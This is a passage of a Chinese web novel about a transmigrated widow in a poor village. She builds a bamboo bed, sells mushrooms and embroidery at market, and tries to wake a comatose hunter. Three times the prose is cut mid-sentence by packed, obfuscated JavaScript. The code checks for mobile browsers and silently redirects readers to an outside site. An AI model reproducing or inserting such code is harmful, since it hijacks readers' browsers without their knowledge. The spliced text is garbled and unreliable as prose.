来时,手上还提了一把韭菜,他与何老婆子说:“地里的韭菜快老了,就割了一把送过来给你们吃。” 何老婆子脸色难道好一些,说:“那便谢过了。” 等李老汉进屋,陆鸢也随在身后端水进去。 像祁晟这种情况,每溺一回,都得擦一擦。全身擦澡的话,则是两三天一回。 送了水,陆鸢也就出来了。 她一直守在门外,听着里边的声响。 屋中静悄悄的,李老汉也不出声,只一味地忙活,没一会就从屋中出来了。 等李老汉一出来,她立马又进了屋子,观察祁晟的脸色。 这回,祁晟的脸色如常,没什么变化。 陆鸢并未因为这回正常,而放下怀疑。 这一回,祁晟有可能是处在深度昏迷,意识没醒,还得继续观察。 * 陆鸢歇了半个时辰,就拿着树枝在地上涂涂画画,构思竹床结构。 但无论怎么画,都得在竹子上打洞,可这一项在没有工具的辅助下,操作起来不仅费劲还很困难。 最后,陆鸢放弃了调高的竹床,做成卡槽互扣的担架样式,也是落地的样式。 确定好样式后,她一趟又一趟去后山坡,不厌其烦的把竹子拖回来。 老太太看着她忙进忙出,心下纳闷。 苏氏之前也勤快,却没有这般风风火火。她这两天就好像有永远花使不完的精力似的,连着干活的那股子劲都是蓬勃的。 陆鸢把竹子都拖了回来,又歇了一会,才开始锯竹子。 她要做的是一米八乘以一米二宽的竹床。所以长的约莫六尺长,短的约莫三尺长。 两长一短。 用柴刀刮去竹节口的毛边,刮至平滑后,锯子配合着柴刀,在四根竹子两端又锯又敲,弄出四个相同大小的凹槽。 四根竹子以横竖叠放的方式互相卡住,这样不仅能固定四根竹子,防止滚动,也使得四根竹子在地上叠放时候,高度平整。 接着,陆鸢把细竹也锯成三尺长度,连着据了五段,再逐一从中间劈开做两半。 最后,用木炭在两根长粗竹对称的位置各画了十个凹槽位,再慢慢地锯开这些卡槽。 两个孩子在旁边好奇地盯着看,都乖得很,没有打扰她。 卡槽都敲好了,陆鸢把做好的竹子逐一搬进杂物房,在地上摆好四根粗竹子,形成了一个长方形,再把对半劈开的竹子一根根放到相对的卡槽中,就成了一张简易的落地床。 竹床的形状,看着像是一把宽密梯。 她转身把稻草垫和草席逐一铺到上边,尝试地躺了一下,稻草垫够厚,一点也不咯人。 又试着摇晃了一下,虽然有点晃动,但还能接受。 竹床离地只有半尺多高,但好歹是离开了地面,隔绝了一定的湿气,也能让她睡得心安一点。 躺在竹床上,陆鸢放空了脑子,望着茅草屋顶,心下是满满的成就感。 两个孩子也好久没睡过床了,看到刚做好的床,也兴奋地躺了上去。 一个人躺着很宽,一个大人两个孩子躺着则刚刚好。 呆呆的秋花在竹床上滚了几下,然后就滚到了她娘的身边,依偎着。 陆鸢躺在上边一动都不想动了,太累了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478994|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能感觉到自己的手臂似有千斤重,抬都抬不起来了,手心也火辣辣地疼。 躺了好一会,昏昏欲睡时,外边传来何老婆子的声音:“让老婆子给你们做饭就罢了,难道还要我请你们不成?!” 陆鸢闻声,诧异地从床上起来。出了屋外,才发觉自己竟忙活了一天,现在太阳都已经要下山了。 她拖着疲倦的身体走了过去,坐到了院中的破旧饭桌上。 今天吃的是米糠韭菜饼。 天天都是米糠,也不知道老太太到底囤了多少。 吃过米糠韭菜饼后,她累得话都不想说了,也不想洗澡,但今天干活出了一身汗,浑身黏糊糊的,不洗也不行。 再者不处理一下双手,明天就该抬不起来了。 她烧了艾草水,水热后,她舀了满满一桶,趁热把双手全泡到了桶中,水直接没到大手臂。 双臂浸泡热水,慢慢地,酸痛也舒缓了一些。 泡了一刻,水只余温热,她便又添了几瓢热水,就着洗了。 洗完,天色还未全暗下来,她摸到了手上起了好几个水泡,有点疼。 向何老婆子借了针,烧红针来挑破水泡,疼得她龇牙。 何老太婆实在看不下去了,把金疮药拿了出来,说:“得亏晟哥儿之前做的金疮药还有,不然你就疼着吧。” 祁晟以前上山打猎,多少都会有点划伤,先前都是弄点止血的草药,后来救了一个上山采药的老大夫,老大夫就教他制做金疮药自用。 何老婆子打开盖子,往挑破的水泡撒上金创药。 刚开始上药有些刺激,疼得陆鸢抽了一声气。 何老婆子暼了眼她:“忍着。” 上了药,何老婆子又重复念叨了一句:“净瞎折腾。” 陆鸢心道她都有床睡了,哪里算是瞎折腾? 上金疮药时有点疼,但药劲过了之后,到时候有点清清凉凉的,还怪舒服的。 今天太累了,陆鸢回屋后,几乎是沾床就睡着了。 一夜无眠,天蒙蒙亮时,陆鸢便醒了。 昨日疲劳过度,哪怕泡了艾草热水,双臂还是隐隐泛着酸疼。 缓了一会,起床洗漱的时候,才发现水缸见底了。 …… 这一天天的,真真是有干不完的活。 她转头看向祁晟的屋子,心说这男人啥时候才能醒。 做不做夫妻是其次,分担一点活才是最重要的。 洗漱后,陆鸢去河边提了两回水,先解决了做饭和洗漱的水,下午再提晚上洗澡用水。 上午日头大,陆鸢把云耳拿出来又多晒了一会。等到晌午时。云耳已经干透了,她便装入簸箕中。 她与何老婆子说:“明日一早我与陈家二嫂去赶集,这云耳要卖给谁?” 何老婆子闻言,说:“云溪镇上有一家叫有客来的食肆,晟哥儿经常把打来的野味卖给那里的柳掌柜,所以与那掌柜有几分交情,掌柜平日里也会收云耳做菜。” “云耳难见,但云溪镇就这么大,想卖高价是不可能的,虽是如此,但也能换得六文钱一两。” 这古代的重量是十六进制,也就是一斤有十六两。 这样算的话,一斤云耳是九十六文钱。 猪肉十三四文钱一斤,这云耳可比肉贵多了。 可转念一想,又觉得不能这么算,这野生云耳难觅,且晒干后也没多少重量。她那些云耳要是按照十六进制算,估计约莫只有十两。 十两是六十文,还得分何老婆子一半呢。 钱还没到,就已经没了一半,可真愁人。 9. 第 9 章 赶集日,陆鸢早早就起了。 此时天色才刚擦亮,蚊子嗡嗡的,叮了她好几个包。 她挠了一下痒才从床上起来,从床头的衣服底下摸出木梳篦梳发。 原身头发干燥打结,梳发时会扯到头皮,疼得陆鸢边梳边抽气。 梳过发,就用荆钗把头发挽成发髻,最后再用布巾固定发髻,以免散乱。 她起来的时候,两个孩子也跟着起来了。 两个孩子的头发也是枯黄毛燥,还特别稀少。 她帮春花用布条绑了两个小揪揪,转头看了眼秋花…… 算了,这娃的头发的长度暂时扎不起来。 都两岁了,秋花这头发不仅少,还特别短,以后长大了可如何是好。 陆鸢叹了一声,随之出去洗漱。 这个时辰,何老婆子也已经起来了,正在给他孙子熬米汤。 好似怕她偷吃,或是藏给孩子吃的似的,祁晟的吃食,都是何老婆子亲手做的。 陆鸢洗漱好后,也过来做饭。 说是做饭,不过是做几个米糠的饼。 她实在忍不住问:“老太太,咱们家哪来这么多的米糠?” 何老婆子瞅了她一眼,淡淡道:“开春收了一茬粮食,碾了米就卖了,米糠自然就剩下来了。” 陆鸢听何老婆子的话,明白了,也就是说没有粮食,但有米糠,也饿不死。 陆鸢中午赶不回来,而且赶路也容易饿,也就多吃了一个。 吃过朝食,何老婆子用粗布包了五方帕子和三个荷包,递给了陆鸢。 她交代道:“镇上的翠云胭脂铺子买胭脂也卖绣品,所以会收一些好的绣品,这一方帕子是八文钱,荷包十五文钱一个,总共是八十五文。” 根据陆鸢这些天的观察,老太太眼睛不大好,绣得慢,这布包着的所有绣品,估计就是一个月做的量。 这请人照看沈靳都快花去一半了,也难怪日子过得如此拮据。 何老婆子:“卖了绣品后,就去吴记医馆找吴大夫,让他明天来围山村祁家出诊。另外再去肉摊买一根骨头回来。对了,还得再买一斤精米回来,记着,精米是十文钱一斤,贵了就去别处买。” 精米是祁晟的粮食。 平日喂祁晟的流食,就是用精米磨成的粉。 这钱都还没到手呢,陆鸢就觉得不经花了。 何老婆子一下子就交代了许多事,陆鸢也都一样样地记在心里。 何老婆子说到最后,板着脸道:“这些钱,我心里可都是有数的,你可别想贪我一文钱。” 陆鸢:那还不至于。 她看向包好的绣品,问:“要是我把绣品卖得更高价,那多出来的价钱是不是……” 余下的话不言而喻。 何老婆子嗤笑了一声:“你要是本事,能多卖出去一文钱,都归你了。” 陆鸢立刻萌生了到市集上叫卖的想法。 只要舍得下脸皮,沿街叫卖不用占地,也就不用交摊位费了。 陆鸢去镇上,是走着去的,所以也不打算带孩子去。 两个孩子巴巴地看着她,眼神里没有安全感。 到底是同吃同住了四五天,也相处出了两分感情,陆鸢于心不忍,说:“乖乖搁家里,晚上等我回来,就有好吃的了。” * 陆鸢和黄兰汇合,黄兰看了眼她的篮子,问:“你带了啥?” 陆鸢也没瞒她,回道:“前些天上山,砍柴时顺道捡了点菌子,打算拿到镇上卖,挣点钱买粮食。” 黄兰听她说要买粮食还愣了一下,但随即反应了过来,道:“也是,何老婆子之前为了救孙子,不仅卖房子卖田地,粮食也几乎全卖了,现在吃完了,肯定得买粮吃。” “不过你要是想买粮食的话,就来我家买。镇上的粮店也是从佃户处收来的,卖得还死贵。” “镇上七文钱一斤的糙米,咱们家给你们六文钱一斤,不过不能多卖就是了。” 不用去铺子里边买,还能便宜,陆鸢当然是选择后者。 她应道:“那行,我要是买粮的话,就去嫂子家买。” 见陆鸢应承下来了,黄兰脸上顿时堆满了笑。 说着,黄兰又聊到了何老婆子身上。 “你家老太太可让你把绣品拿到镇上了?” 陆鸢拍了拍篮子,说:“叫了。” 黄兰瞅了一眼她的篮子,说:“得亏何老婆子的绣活好,不然你们家里是真的一点进项都没有。” “我可听说了,何老婆子手艺好,一方帕子,在翠云胭脂铺子能卖到十五文呢,一个香囊更能卖到三十文。” 陆鸢看过何老婆子做的绣品,确实很精致,在镇上都能卖到这个价格,在县城里更不用说。 但城里估计在更远的地方,进城还需得过所,她没有过所,未必能进城。 等之后稳定下来了,她再仔细问问这过所该怎么补办。 从围山村一路走去云溪镇的路上,能碰上好些去赶集的人。 刚开始,陆鸢沿途还能看看风景,但走了半个时辰,压根就没了心情。 等双腿开始发颤发软的时候,才终于到了云溪镇。 从辰时初直接走到了巳时,整整走了一个多时辰。 想到回去还得再走一个多时辰,她就觉得腿软。 陆鸢缓了一会,再打量起云溪镇的市集。集市上叫卖声不断,热热闹闹的,卖什么的都有。 黄兰问:“你要去哪?” 陆鸢:“我要把菌子送到食肆去。” 这会,黄兰的心都已经飞到市集上去了,也不想陪她去,就说:“镇上就这么大,你找一下,很快就能找着食肆。我先去逛一会,等会你就在市集找我。” 陆鸢应了声“诶。”然后就与黄兰分开了。 她逛了一刻左右,就找到了有客来食肆。 现在这个时辰还没到饭点,食肆没什么人,也就两三个人在吃面。 陆鸢走进去食肆,食肆的人不约而同地打量了她一眼。 毕竟这妇人身上衣服全是补丁,看着也不像是能下得起馆子的。 小二除了驱赶叫花子外,只要衣衫整洁,不影响做生意的,都会迎上前。 “娘子要吃些什么?” 陆鸢道:“我是围山村祁晟家的,采了些云耳,特来问柳掌柜要不要收。” 听到围山村祁晟家里的,小二愣了一下,问:“祁郎君可还好?” 这年头活死人不多见,有一个都能传遍十里八乡,更别说祁晟长了一副好皮囊,也经常送猎物到镇上,所以镇上大多的人都知道他。 这一听说他成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478995|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活死人,不少人觉得惋惜,也有不少姑娘碎了心。 陆鸢应:“还是那个样子。” 小二叹了一声气,但随之反应了过来,问:“娘子是祁家什么人?” 陆鸢自是不能说是未婚妻,只得说:“我是何老婆子的干女儿,祁晟的干姐姐。” 小二心下纳闷怎么没听祁郎君提起过,但转念一想,没准是祁郎君不想提。 “祁家阿姐你且先等着,我去喊掌柜。” 小二去了后院,把掌柜喊了过来。 一个中年男人掀开隔着后院的帘子,走了出来,打量了一眼穿着破旧寒酸的陆鸢,也没嫌弃,而是惋惜道:“祁郎君的事,我也听说了,让老太太节哀。” 陆鸢颔首回应。 柳掌柜客套了两句,便道:“把云耳拿出来给我瞧瞧。” 陆鸢先把篮子里的绣品拿了出来,再把篮子递给小二。 柳掌柜看了眼,说:“最近云耳涨价,这一回的云耳,我给你提到七文钱一两。” 陆鸢微一愣。 看到过卖家涨价的,却极少看见买家提价的。 大概,是因为与祁晟有交情,所以同情才涨价的。 陆鸢还是很需要这份同情的,毕竟一文钱都难倒英雄好汉,更别说是她了。 小二称了云耳,差少许才到十两,柳掌柜也给她算到了十两重。 十两重一共就是七十文钱。 拿到一串铜板时,陆鸢心底抑制不住的雀跃,就像当初上班第一个月拿到工资时是一样的心情。 她总算是有钱了,就算不多,可也算是向着好生活迈去了一大步。 陆鸢小心翼翼地把铜板放到兜里,再三确定放好了,且不易掉后,她才开始整理何老婆子做的绣品。 她把绣品都摊开在篮子里,然后开始搜寻推销目标。 注重打扮,衣服料子也好的已婚的年轻妇人是陆鸢的首选,这种大多爱打扮,手里也都有点小钱。 陆鸢搜寻了一会后,看中了目标便迎了上去。 “娘子可要买好看的帕子?” 推销时,她特地把篮子往前摆,以便能一眼看到绣样。 被拦住的年轻妇人露出了不悦与不耐之色:“不用,莫要拦路。” 陆鸢厚着脸皮举着篮子说道:“且瞧瞧嘛,不要也不打紧。” 年轻妇人被她弄得有些生气了,正要骂人,却在看到篮子里边的绣品时,把骂人的话给咽了回去。 要说不说,这帕子的绣样还怪好看的。 年轻妇人故作拿乔,道:“你都这般拦住我了,那我姑且瞧一瞧吧。” 说着就拿起一方拍照仔细看了起来,看了一方又一方。 “这帕子的绣工,看着挺像翠云胭脂铺子的卖的,这多少钱一条?”年轻妇人问。 陆鸢笑道:“十二文钱一方帕子,荷包二十文一个。” 年轻妇人眉眼一挑,这都一样的帕子,说不定还是同一个绣娘,只是嫌弃给得少,才自己拿出来交卖。 一样的帕子还便宜了几文钱,也不是不能要。 年轻妇人开始认真挑选了起来,在几方帕子中犹豫不决。 见有人在挑选帕子,又有年轻姑娘凑了过来。 虽然不一定会买,但人一多了就容易扎堆,帕子也更容易卖出去。 10. 第 10 章 赶集日,镇上人特别多,人来人往,接踵摩肩,熙熙攘攘。 只要有两人以上聚在一块,且有一人似在东西,便能吸引过来。 爱瞧热闹,是老祖宗们刻在骨子里的习惯。 一方十二文的帕子,有人嫌贵,也有人觉得值当。 陆鸢的第一个客人,一下子就买了两方帕子。 又进账二十四文钱,分成八文钱。 要是把绣帕和荷包都卖完了,就能把分给何老婆子的银子给挣回来。 想到这,陆鸢就更卖力了。 面前有三个人,她卖力推销:“我这帕子上的绣样,可是城里最时兴的花样,在城里可得几十文钱一条呢,只是路太远了,家里有病人,不便出远门,只得就近售卖。” “就剩这几方了,想买的感觉买了,不然得等到下个月,我才会继续出摊。” 年纪稍长的一个中年妇人,从中挑了个荷包,谈了会价格,陆鸢就少收了一文钱。 陆鸢开了张,连续买了两方绣帕和一个荷包后,自信心大涨,她一边推销,一边又吆喝几声:“买精美绣帕了,县城最时兴的样式,快来瞧瞧” 脸皮子完全不重要了,重要的是银子,能买粮买肉的银子。 陆续地又来了几个人。 何老婆子的绣活确实出色,刺绣精美,让人喜欢。 没多久的功夫,篮子里只剩下一只荷包了。 她喊住正要走的人,说:“最后一个荷包了,便宜买,开始卖的时候是二十文一个,现在只要十八文,卖一个吧。” 那姑娘方才就爱不释手看了许久,但觉着贵,就没要,现在听着少两文,有些东西,但又想更便宜:“十七文我就要了。” 陆鸢:“不成不成,十八文已经够少了,人家铺子可是卖到二十五文了呢。” 那姑娘又磨了许久,见真的不能少了,才十八文买下了。 把绣品全卖完了,她用原先包绣品的布把铜板也全包了起来,仅两百枚铜板,沉甸甸的。 感受到这份重量,陆鸢心情美美的。 她在心下算了一下,加上卖云耳的七十文钱,一共有一百八十六文钱。 扣了何老婆子的钱,有六十六文是她的所得。 陆鸢脸上挂着笑,询问了路人医馆何在,她就带着好心情去找吴记医馆。 在路过茶水摊时,陆鸢不由得咽了咽口水。 走了一路,又吆喝了许久,早已口干舌燥,但看到一文钱一碗茶水,她又硬生生给忍住了。 从医馆出来,看到有人买豆浆,实在没忍住,就花了一文钱买了一碗。 豆浆比起茶水,起码是粮食做的,一碗豆浆下去,好歹还能起到饱腹的作用。 只是这时代的豆浆口感粗糙,磨得不够细腻,也没什么香味。 尽管如此,还是陆续有人买上一碗,既解渴,也饱腹。 陆鸢看着来喝豆浆的人,心里隐约有了想法。 这豆浆制作不算难,平日里她也没少打豆浆喝,也掌握一点小技巧,能让豆浆更香浓。 只是区别在于没有破壁机,得用石磨磨。 祁晟吃的流食,是用精米磨的,就说明村子里是有石磨的。 心里有了算计,她立马付诸了行动,沿着市集问了几家黄豆价格,有四文一斤的,也有五文一斤的。 显然,五文一斤的成色更好,也更饱满,她只挑好的,不挑便宜的。 陆鸢买了两斤豆子,打算先试一试,要是生意好,之后再多买一点。 转悠了一圈,也发现有卖精米的,比老太太说的要少一文钱,但仔细看了看,谷壳还是没碾干净,是以还是得去铺子里边买。 镇上商品就集中在一处,买东西也快。 买了精米,便到隔壁去询问盐价,一问吓了一跳,得二十四文钱一斤,可比粮食贵多了。 难怪何老婆子不舍得用盐,还是听到她说买盐,才给她用一点。 陆鸢手上没多少钱,也没舍得买多,就只要了六两,花费了九文钱。 一碗豆浆,两斤豆子,还有这九文钱的盐,一下子就没了二十文。 陆鸢再次感叹,钱真不禁花。 接下来,陆鸢寻到肉摊前。 肉贵,板油二十文钱一斤,肥肉相间十五文,全是瘦肉十二文钱。 案板上的筒骨和扇骨被剔得干净,有骨髓的筒骨两文钱一根,扇骨一文钱。 椎骨肉难剔,得四文钱一斤,一斤椎骨,估摸这还能再出二两肉。 陆鸢要了一根筒骨。 把筒骨放到篮子里,转头就看见被扔在木盆里边,散着酸臭气味的大肠。 这现代猪喂的是饲料,而古代的猪,是杂食的,什么都吃,肠子奇臭无比。 而且,在没有各种去腥去味的佐料下,她压根就做不了好吃的猪下水。 陆鸢在靠卤下水挣钱的法子后边默默打了一个叉。 何老婆子交代的事情都已经办妥了,也差不多该回去了。 可黄兰呢? 刚刚她还在市集上逛了一圈,也没见着人。 陆鸢又仔细找了一圈,人真没看到,莫不是回去了? 临近晌午,日头渐大。 陆鸢在市集又寻了两遍,依旧没看到人,索性就不找了,趁着道上人还多,就打算先回去。 到了镇口,才远远地看见黄兰在等着了。 黄兰低着头,手里拿了一把草,也不知道在编制着什么。 陆鸢忙上前,说:“方才我在市集寻了嫂子许久,还以为嫂子先回去了。” 黄兰:“我怕在市集上忍不住花钱,就没逛了。我出了镇子才想起来得等你,也就回来这里等你了,顺道编两个草帽。” 说着,递了一个给陆鸢:“这日头大,在河边随便拔了点蒲草,弄了两个简陋的草帽,省得回去的时候被晒成了那灶眼里的黑炭。” 陆鸢方才都还在烦恼日头大,谁成想这一瞌睡就有人送枕头。 黄兰的手还是很巧的,虽然草帽编得有些稀疏,可在短短的时间内,就编好了两个草帽,也是不错的了。 黄兰虽然缺点是嘴碎,可人真挺好的。 下午日头大,两人走得也慢,偶尔会停下来,躲到树荫下歇歇脚。 差不多申时,她们才看到了围山村。 陆鸢呼了累得直喘气,一旁的黄兰摇了摇头,说:“不应该呀,你先前逃荒的时候都走了那么多的路,现在才走这点路,不该这么累的。” 陆鸢也不理解明明一样的躯体,为什么芯子不同,区别就这么大。 眼瞅着要到家了,陆鸢开始打探了起来,问黄兰:“嫂子,陈二哥有没有和你说过祁晟的事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478996|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 黄兰刚擦了一把汗,忽然听到她这么问,身子一僵,第一反应就是她与别人说祁晟那物什还有反应,能用且雄伟的事,被苏氏知道了。 不,打死都不承认是她传出去的! 黄兰转头,扯开嘴角,硬挤出一抹笑:“没有呀,他没有和我说过祁晟的事,一点都没说过!” 陆鸢都不想点破黄兰神色中透露出来的尴尬。 她故作不知,说:“那嫂子等陈二哥回来了,帮我问问,之前他照看祁晟的时候,祁晟有没有脸红过,又或者是否有过其他的反应。” 黄兰是个嘴快过脑的,闻言,立马脱口而出:“不是有过反应吗?” 说出来之后,她就反应了过来,立马捂住了嘴。 陆鸢一怔,下一瞬,眼神霎时间一亮。 是呀,这完全脑死亡的人,是不可能勃/起的。 这大脑留有意识,身体受到刺激了,才会有生理反应。 她也是糊涂了,竟然把这点给忽略了。 陆鸢顿时露出了笑意,看得黄兰懵懵的,问:“妹子,咋了,怎么忽然笑了?” 陆鸢摇了摇头:“没事。” 黄兰觉得她肯定有事。 她好像刚说完祁晟那物什有反应,苏氏才笑了,莫不是…… 黄兰立马止住了脑海里不正当,且污秽的想象。 陆鸢没注意黄兰的一言难尽的神色,满脑子都是祁晟是有意识的。 既然是有意识的,她该怎么去刺激他,才能刺激到他的神经,从而有苏醒过来的可能? 回到村子,到岔路时候,陆鸢和黄兰分开来走。 一进院子,两个孩子都跑了过来,秋花还踉跄地摔了一跤,爬起来也不哭,还是跑到了她娘身边。 陆鸢累得够呛,也渴得厉害,她给秋花拍了拍身上的土后,就跑到厨房灌了满满一碗水,这才缓过劲来。 从厨房出来,也没看到何老婆子,她就问春花:“何奶奶呢?” 春花应道:“不知道,刚刚出门了。” 陆鸢见人不在,她就有了进祁晟屋子的想法。 让春花秋花留在外头,她自个摸进了祁晟的屋子。 阖上房门,走到了床边,仔细打量了一下没有半点变化的祁晟后,她在床头蹲了下来,趴在他耳边开了口:“祁晟,你能听见我说话吗?” “如果听得到的话,那你便仔细听我说了。你要是有意识的话,只要你想活,且坚信着你自己能醒过来,你就能有苏醒的可能,可若连你自个都没有求生欲望,旁人是帮不了你的。” 陆鸢又盯着他看了一会,连眼睫毛都没动一下,也不知他有没有听进去。 她叹了一声,站了起来。 也不知祁晟什么时候是深度昏迷,什么时候又是清醒的,只能是在这几日的时间里,时不时在他耳边重复这几句话。 话说完了,陆鸢也就转身出了屋子,阖上了房门。 屋外的声音似乎又传不进屋,屋内再度凝静。 床上的人,依旧似感知不到外界一般,沉沉地睡着了,很是平静。 可没人知晓,平静之下,是活跃的。 祁晟听到了寡妇的话,心下久久不能平静。 他还有机会苏醒吗? 只是,她一个带着两个孩子逃荒的寡妇,又怎会了解这些? 11. 第 11 章 陆鸢从祁晟屋子出来后,就回杂物屋把钱分成两份。 何老婆子让买的骨头和精米,自然是从她那边出项。 何老婆子的一百二十文,减了十七文,就是一百零三文。 陆鸢每数十个铜板就用草绳串起来,这样一目了然,省得何老婆子进屋数钱后,再出来就说不对了,届时她有口难辨。 把何老婆子的铜板全都串好了,她也开始数自己的那些个铜板。 虽然知道有多少,但架不住想数。 她已经不是身无分文了,而是有四十六文钱的人了。 她这几日的苦日子,总算是看到了盼头。 陆鸢只留下六文钱,余下的则藏在床头粗竹筒里。 竹筒有一根手指头的深度,几乎是挨着屋子墙壁的,平时看不见内里藏有东西。 藏好钱,又歇了一会,似乎听到了何老婆子的声音,她才拿着钱出去。 何老婆子手里拿着一碗糙米,瞄了她一眼:“银子呢?” “在这呢。”陆鸢往上提了提手里的篮子。 何老婆子瞅了一眼,里边是串好的铜板。 “得,跟我进屋,我要数过。”何老婆子端着糙米进了屋,陆鸢也跟着进去了。 这还是陆鸢第一回进何老婆子的屋子。 物件简单,一张三尺宽的木床,一方小桌上一盏油灯,而后则是摆在床头旁的一个缸,缸上盖着木板,看不见里边装了什么。 她想,粮食应该就在那个缸里。 何老婆子手上拿着糙米,就表示上一顿糙米粥就是最后的米了,那缸里估计也只装着米糠。 许是今日有进项,何老婆子才会去买米。 陆鸢见何老婆子把米放到缸上方,便问:“老太太,这米是借的还是买的?” 何老婆子睨了一眼她:“咱们家有田吗?有收成吗?没田没收成,拿什么还?” 这何老婆子的语气着实冲,要不是她脾气好,早与她吵嘴了。 但仔细琢磨过,也理解老太太的这种性子。 一个老太太带着孙子讨生活,脾气要是不古怪点,不知被欺负成生么样了。 陆鸢想明白后,也就没那么在意何老婆子态度了,她道:“今日去市集,陈家二嫂与我说,想要糙米就去她家买,六文钱一斤。” 她说着话的同时,也把篮子里的铜板放到了小方桌上。 何老婆子走到小方桌前坐下,拨弄了一下串好的铜钱,说:“不用,这是里长家的粮食,不用银子。” “不用银子?”陆鸢很是诧异。 何老婆子解释:“先前着急卖田,里长想要,但手里银子不够,他们家提出在两年内,每月都会给我们家送五斤粮,我才同意把家里的水田贱卖给了他们。” 说起往事,何老婆子格外自豪:“晟哥儿打猎是一把好手,十几岁就跟着老猎户进山打猎,攒下了家底,建了屋子,又给家里买了水田,那会整个围山村都羡慕祁家日子红火……” 说到这,声音停了,叹了一口气,低头数着每一串的铜板。 陆鸢却是听到关键的地方。 祁晟自小上山打猎,肯定是很熟悉山里环境的,那又怎么会摔下山谷? 何老婆子数了一遍,对上了数目,又包了起来,抬眼瞧她,问:“你挣了多少?” 陆鸢回神,应道:“也没多少。” 何老婆子没听到准确数字,轻嗤一声:“还知道防我了?老婆子我就算穷得乞讨,也不图你那三瓜两枣。” 何老婆子不会图她的钱,这点,陆鸢倒是信的。 “这不是入秋了,之后就是深秋,天冷了,想存点钱做冬衣。” “要做冬衣,就机灵点,等河边的芦花出来了,就赶紧去收。” 陆鸢明白芦花的作用,是做冬衣的填充物。 得亏是岭南,要是北方,芦花做填充,定然熬不过冰天雪地的冬日。 陆鸢准备出去时,又瞧了眼米缸上的糙米:“那里长家还卖米吗?” 何老婆子眉头一皱,不悦道:“五斤米还不够你吃?” 陆鸢:…… 怎么可能够! 就这三天一顿粥,平时都是米糠野菜,肚子里边也没油水,身体怎可能受得了?长此以往,她这身体的寿命也就止在四五十了。 “我是琢磨着,等我手里有银子了,再去买米。” 何老婆子:“你有银子你便去买,反正除了这五斤米外,我是不会再花钱买一斤米的。” 陆鸢:“我以后会挣钱买的。” 何老婆子似听到了笑话一般,笑了一声:“你若真能挣钱,何至于逃荒到围山村?” 陆鸢面不改色地道:“那还不是因为老家干旱,才没法子挣钱,我现在已经想到挣钱的法子了。” 何老婆子来了兴趣:“啥法子?” 陆鸢:“我买了些豆子回来,等过几日赶集日,我磨些豆乳到市集上摆摊子。” 何老婆子狐疑道:“你既会做豆乳饮子,又怎用得着逃荒?” 陆鸢也不慌,应:“老太太莫不是忘了,我方才才说老家干旱,水都要花钱,又哪来的水做豆乳饮子?” 何老婆子也反应了过来,好像是这么回事。 她敛去脸上的怀疑,道:“你既有赚银子的法子,那你便去做,但你得记住,莫要有了银子,就反悔不与晟哥儿做夫妻了。” 陆鸢应得毫不心虚:“那肯定不能。” 她得加把劲多去刺激祁晟了,争取把他刺激醒。 何老婆子哼了一声,说:“晚上用骨头熬粥,大家伙都补补。” 陆鸢应:“好。” 转身出了屋子,暗暗呼了一口气。 天气热,陆鸢怕骨头会臭,就先去熬汤了。 只是屠户没有把骨头砍断,是完好的一整根,她只得自己砍。 瞧着棒骨,又看了眼祁晟的屋子,她的心里顿时有了主意。 陆鸢悄悄把木墩子挪到了祁晟的窗口下。 她把柴刀磨得更锋利些,然后把棒骨放在木墩子上头,大开大合地开始砍了起来。 “哒哒哒”地巨响,把屋子里头的何老婆子都吓了一跳,她忙不迭跑出来看是咋回事。 一出来就看到苏氏拿着把柴刀,在孙儿屋子的窗口下,哐哐哐地砍着棒骨。 何老婆子捂着胸口呼了一口气,大声道:“你砍就去远些砍,别扰晟哥儿了。” 陆鸢动作停了停,应:“吵着了他才好,吵醒了更好。” 说着,便继续剁。 何老婆子听到苏氏的话,一怔。 “哒哒哒”的声音再响起,她也不阻止了。 屋中的祁晟,昏迷两个多月,还是鲜少听到人声水声以外的声响。 哒,哒,哒…… 似乎是用蛮力劈柴的声音,可又不像。 他祖母定然是没有这力气的,那只能是寡妇苏氏弄出来的动静。 祁晟便是一直昏迷,只留着微弱的意识,但也能感觉得出来,这几日的苏氏很不一样。 前些日子,没什么存在感,可这几日,每一日都能让他印象深刻。 祁晟一时间也好奇了起来,到底哪个才是真实的苏氏。 屋外,陆鸢剁好棒骨,也累出了满头大汗。 洗手洗脸后,陆鸢起锅烧热水,骨头焯出血水,她才放到平日里给祁晟熬粥的砂锅熬汤。 砂锅熬汤,水分蒸发少,用小火慢炖一个时辰,也少不了多少汤水,而且煲出来的汤也会更香浓。 怕看不住火,她把砂锅和炉子都搬到了厨房外头,可以一边干活一边看火。 先前弄回来的竹笋一直没处理,今天趁着天色还早,就先处理了。 